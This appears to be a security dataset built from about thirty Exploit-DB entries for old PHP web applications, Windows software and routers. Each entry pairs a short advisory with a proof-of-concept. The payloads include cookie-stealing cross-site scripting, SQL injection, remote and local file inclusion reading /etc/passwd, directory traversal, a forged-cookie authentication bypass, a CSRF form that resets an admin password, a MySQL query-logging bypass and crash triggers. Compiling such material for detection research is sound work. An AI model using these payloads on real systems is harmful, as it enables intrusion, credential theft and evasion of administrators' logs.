QLWD/code_shield huggingface dataset:
标题: PHP 4.x/5.0/5.1 with Sendmail Mail Function - 'additional_param' Arbitrary File Creation EDB-ID: 27334 CVE: 2006-1015 类型: LOCAL 平台: PHP 发布日期: 2006-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16878/info

PHP is prone to multiple input-validation vulnerabilities that could allow 'safe_mode' and 'open_basedir' security settings to be bypassed. These issues reside in the 'mb_send_mail()' function, the 'mail()' function, and various PHP IMAP functions.

$additional_param = "-C ".$file_to_read." -X ".getcwd()."/".$output_file; URL: https://www.exploit-db.com/exploits/27334
标题: LogIT 1.3/1.4 - Remote File Inclusion EDB-ID: 27345 CVE: 2006-1099 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16932/info

LogIT is prone to a remote file-include vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input.

Attackers may specify remotely hosted script files to be executed in the context of the webserver hosting the vulnerable software. An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the webserver process. 

LogIT versions 1.3 and 1.4 are affected by this vulnerability; other versions may also be affected.

http://www.example.com/?pg=http://www.example2.com/evilcode URL: https://www.exploit-db.com/exploits/27345
标题: QwikiWiki 1.4 - 'index.php' Cross-Site Scripting EDB-ID: 27333 CVE: 2006-0983 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16874/info

QwikiWiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/index.php?page="><alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/27333
标题: n8cms 1.1/1.2 - 'mailto.php?userid' Cross-Site Scripting EDB-ID: 27332 CVE: 2006-1008 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16858/info
  
The 'n8cms' script is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
  
Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/mailto.php?userid=[xss] URL: https://www.exploit-db.com/exploits/27332
标题: NZ eCommerce System - 'index.php' Multiple SQL Injections EDB-ID: 27344 CVE: 2006-1098 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16931/info

NZ Ecommerce is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

A successful exploit could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/index.php?action=Information&informationID=[SQL]
http://www.example.com//index.php?action=DisplayOverviewproduct&ParentCategory=[SQL] URL: https://www.exploit-db.com/exploits/27344
标题: n8cms 1.1/1.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27331 CVE: 2006-1008 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16858/info
 
The 'n8cms' script is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/?dir=[xss]
http://www.example.com/path/?dir=home&page_id=[xss] URL: https://www.exploit-db.com/exploits/27331
标题: vBulletin 3.0/3.5 - 'profile.php?Email' HTML Injection EDB-ID: 27343 CVE: 2006-1040 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16919/info

vBulletin is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

This issue is reported to affect vBulletin versions 3.0.12 through 3.5.3. Other versions may also be affected.

http://www.example.com//forum/profile.php?do=editpassword
pass:your pass
email: example@www.example.comâ?><script>alert(1)</script>.nomatt URL: https://www.exploit-db.com/exploits/27343
标题: PEHEPE Membership Management System 3.0 - 'Sol_menu.php' Cross-Site Scripting EDB-ID: 27338 CVE: 2006-1021 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/16885/info

PEHEPE Membership Management System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/script_path/sol_menu.php?kul_adi="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27338
标题: n8cms 1.1/1.2 - 'index.php' Multiple SQL Injections EDB-ID: 27330 CVE: 2006-1007 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16858/info

The 'n8cms' script is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/?dir=[sql]
http://www.example.com/path/?dir=home&page_id=[sql] URL: https://www.exploit-db.com/exploits/27330
标题: Alt-N MDaemon 8.1.1 IMAP Server - Remote Format String EDB-ID: 27329 CVE: 2006-0925 类型: DOS 平台: WINDOWS 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16854/info

Alt-N MDaemon IMAP Server is affected by a remote format-string vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input before using it in the format-specifier argument to a formatted printing function.

This vulnerability may be leveraged to consume excessive CPU resources or to crash the service. Due to the nature of this issue, remote code execution is likely possible, although this has not been confirmed.

Alt-N MDaemon 8.1.1 is reported to be vulnerable. Other versions are likely affected as well.

M:\Distrib\nc>nc -v 127.0.0.1 143
Blaster [127.0.0.1] 143 (imap) open
* OK hack.com IMAP4rev1 MDaemon 8.1.1 ready
0001 LOGIN "user" "password"
0001 OK LOGIN completed
0003 CREATE "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s"
0003 OK CREATE completed
0004 LIST "%s%s%s%s%s%s%s" "%s" URL: https://www.exploit-db.com/exploits/27329
标题: StarUML - 'WinGraphviz.dll' ActiveX Buffer Overflow EDB-ID: 27317 CVE: 2013-5578 类型: DOS 平台: WINDOWS 发布日期: 2013-08-03 漏洞利用脚本: # Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability
# Date: 03.8.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://staruml.sourceforge.net/en/
# Software Link: http://staruml.sourceforge.net/en/
# Tested on: Windows XP SP3
 
 

About StarUML
--------------

StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform. 




 
Exception Code: ACCESS_VIOLATION
Disasm: D98439 MOV DL,[EBP] (WinGraphviz.DLL)

Seh Chain:
--------------------------------------------------
1  6B47D959  VBSCRIPT.dll
2  772FE115  ntdll.dll


Called From                   Returns To                    
--------------------------------------------------


Registers:
--------------------------------------------------
EIP 00D98439 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EAX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EBX 0020D70A -> 00000038
ECX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EDX 000003FF
EDI 000003FE
ESI 00000000
EBP 00000000
ESP 0020D618 -> 00000059



The example code below triggers the vulnerability
-------------------------------------------------


<object classid='clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\StarUML\WinGraphviz.dll"
prototype  = "Function ToDot ( ByVal Source As String ) As String"
memberName = "ToDot"
progid     = "WINGRAPHVIZLib.NEATO"
argCount   = 1

arg1="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\"

target.ToDot arg1 

</script> URL: https://www.exploit-db.com/exploits/27317
标题: Archangel Weblog 0.90.2 - Authentication Bypass EDB-ID: 27324 CVE: 2006-0944 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16848/info

Archangel Weblog is prone to an authentication-bypass vulnerability. This issue is due to a failure in the application to properly validate user-supplied data. 

An attacker can exploit this issue to bypass the authentication mechanism and gain access to the affected application as an administrative user. This may facilitate a compromise of the underlying system; other attacks are also possible.

The following example HTTP request is sufficient to exploit this issue:
GET http://www.example.com/awb/admin/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051229 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0 URL: https://www.exploit-db.com/exploits/27324
标题: Fantastic News 2.1.1 - SQL Injection EDB-ID: 27321 CVE: 2006-0972 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16842/info

Fantastic News is prone to an SQL-injection vulnerability. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Fantastic News 2.1.1 is affected.

http://www.example.com/news.php?page=|sql URL: https://www.exploit-db.com/exploits/27321
标题: D3Jeeb Pro 3 - 'catogary.php?catid' SQL Injection EDB-ID: 27328 CVE: 2006-0906 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16853/info
 
D3Jeeb is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/catogary.php?catid=[SQL] URL: https://www.exploit-db.com/exploits/27328
标题: DirectContact 0.3.b - Directory Traversal EDB-ID: 27325 CVE: 2006-0971 类型: REMOTE 平台: WINDOWS 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16849/info

DirectContact is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

The following proof of concept is available:

http://www.example.com:[port]/..\..\..\..\windows/system.ini

GET /../../../../../../windows/system.ini HTTP/1.1 URL: https://www.exploit-db.com/exploits/27325
标题: D3Jeeb Pro 3 - 'fastlinks.php?catid' SQL Injection EDB-ID: 27327 CVE: 2006-0906 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16853/info

D3Jeeb is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/fastlinks.php?catid=[SQL] URL: https://www.exploit-db.com/exploits/27327
标题: MySQL 5.0.18 - Query Logging Bypass EDB-ID: 27326 CVE: 2006-0903 类型: REMOTE 平台: LINUX 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16850/info

MySQL is prone to a query-logging-bypass vulnerability. This issue is due to a discrepancy between the handling of NULL bytes in the 'mysql_real_query()' function and in the query-logging functionality.

This issue allows attackers to bypass the query-logging functionality of the database so they can cause malicious SQL queries to be improperly logged. This may help them hide the traces of their malicious activity from administrators.

This issue affects MySQL version 5.0.18; other versions may also be affected.

PHP code designed to exploit this issue is provided:

mysql_connect(...);
mysql_query('/*'.chr(0).'*/ SELECT * FROM table'); URL: https://www.exploit-db.com/exploits/27326
标题: Thomson SpeedTouch 500 Series - NewUser Function 31 Variable Persistent User Creation EDB-ID: 27319 CVE: 2006-0947 类型: REMOTE 平台: HARDWARE 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16839/info

The SpeedTouch 500 series are prone to a cross-site scripting vulnerability. This issue is due to a failure in the devices to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the compromise of the device.

http://www.exmaple.com/cgi/b/intfs/_intf_/ov/?0=10&1=usrAccApply&34=NewUser&36=1&33=test&31=[code here] URL: https://www.exploit-db.com/exploits/27319
标题: Woltlab Burning Board 1.1.1/2.x - 'galerie_onfly.php' Cross-Site Scripting EDB-ID: 27323 CVE: 2006-1034 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16843/info
 
Woltlab Burning Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/21new/galerie_data/galerie_onfly.php?abild=9997_mr2_2f2f_blue.jpg&width=600&show=2&inpic=Patriotic%20Hackers%20:=))&col=50&size=10&left=1000&heigh
t=100&vert=0&inpic2=Patriotic%20Hackers&nocomp=0 URL: https://www.exploit-db.com/exploits/27323
标题: Woltlab Burning Board 1.1.1/2.x - 'galerie_index.php?Username' Cross-Site Scripting EDB-ID: 27322 CVE: 2006-1034 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16843/info

Woltlab Burning Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/21new/galerie_index.php?action=count&gal_catid=5&tcase=2&gal_id=35&userid=1&username="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27322
标题: Thomson SpeedTouch 500 Series - LocalNetwork Page 'name' Cross-Site Scripting EDB-ID: 27320 CVE: 2006-0946 类型: WEBAPPS 平台: HARDWARE 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16839/info
 
The SpeedTouch 500 series are prone to a cross-site scripting vulnerability. This issue is due to a failure in the devices to properly sanitize user-supplied input. 
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the compromise of the device.

http://www.example.com/cgi/b/intfs/_intf_/ov/?ce=1&be=0&l0=3&l1=1&name=[code here] URL: https://www.exploit-db.com/exploits/27320
标题: myPHPNuke 1.8.8 - 'reviews.php' Cross-Site Scripting EDB-ID: 27308 CVE: 2006-0923 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16815/info

MyPHPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/reviews.php?op=reviews&letter=[XSS] URL: https://www.exploit-db.com/exploits/27308
标题: SPiD 1.3.1 - 'Scan_Lang_Insert.php' Local File Inclusion EDB-ID: 27311 CVE: 2006-0976 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16822/info

SPiD is prone to a local file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of this issue may facilitate the unauthorized viewing of files and execution of local scripts.

http://www.example.com/spiddir/scan_lang_insert.php?lang=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/27311
标题: RiteCMS 1.0.0 - Multiple Vulnerabilities EDB-ID: 27315 CVE: 2013-5317 2013-5316 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-03 漏洞利用脚本: ###########################################################################################
# Exploit Title: RiteCMS multiple vulnerabilities
# Date: 2013 30 July
# Exploit Author: Yashar shahinzadeh
# Credit goes for: ha.cker.ir
# Vendor Homepage: http://ritecms.com/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 1.0.0
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir }
###########################################################################################

Summary:
========
1. CSRF - Change administrator's password
2. Cross site scripting

1. CSRF - Adding an admin account:
==================================

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
                action="http://[Path to RiteCMS]/cms/index.php" method="post">
                <input type="hidden" name="mode" value="users">
                <input type="hidden" name="id" value="1">
                <input type="hidden" name="name" value="admin1">
    <input type="hidden" name="new_pw" value="admin">
    <input type="hidden" name="new_pw_r" value="admin">
    <input type="hidden" name="type" value="1">
    <input type="hidden" name="edit_user_submitted" value="%C2%A0OK%C2%A0">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>


2. Cross site scripting (After auth):
=====================================
http://localhost:80//ritecms.1.0.0.tinymce/cms/index.php?mode=[XSS] URL: https://www.exploit-db.com/exploits/27315
标题: FreeHostShop Website Generator 3.3 - Arbitrary File Upload EDB-ID: 27312 CVE: 2006-0936 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16823/info

Website generator is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

http://www.example.com/files/myforms/process3.php?formname=attack.php%00*name[0]= URL: https://www.exploit-db.com/exploits/27312
标题: JGS-Gallery 4.0 - 'Board jgs_galerie_scroll.php?userid' Cross-Site Scripting EDB-ID: 27307 CVE: 2006-0927 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16810/info
 
JGS-Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_galerie_scroll.php?userid=[XSS] URL: https://www.exploit-db.com/exploits/27307
标题: JGS-Gallery 4.0 - 'jgs_galerie_slideshow.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27306 CVE: 2006-0927 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16810/info

JGS-Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_galerie_slideshow.php?sid=&katid=&userid=[XSS]
http://www.example.com/jgs_galerie_slideshow.php?sid=&katid=[XSS]&userid= URL: https://www.exploit-db.com/exploits/27306
标题: myPHPNuke 1.8.8 - 'download.php' Cross-Site Scripting EDB-ID: 27309 CVE: 2006-0923 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16815/info
 
MyPHPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/download.php?sortby=&dcategory=[XSS]&sortby= URL: https://www.exploit-db.com/exploits/27309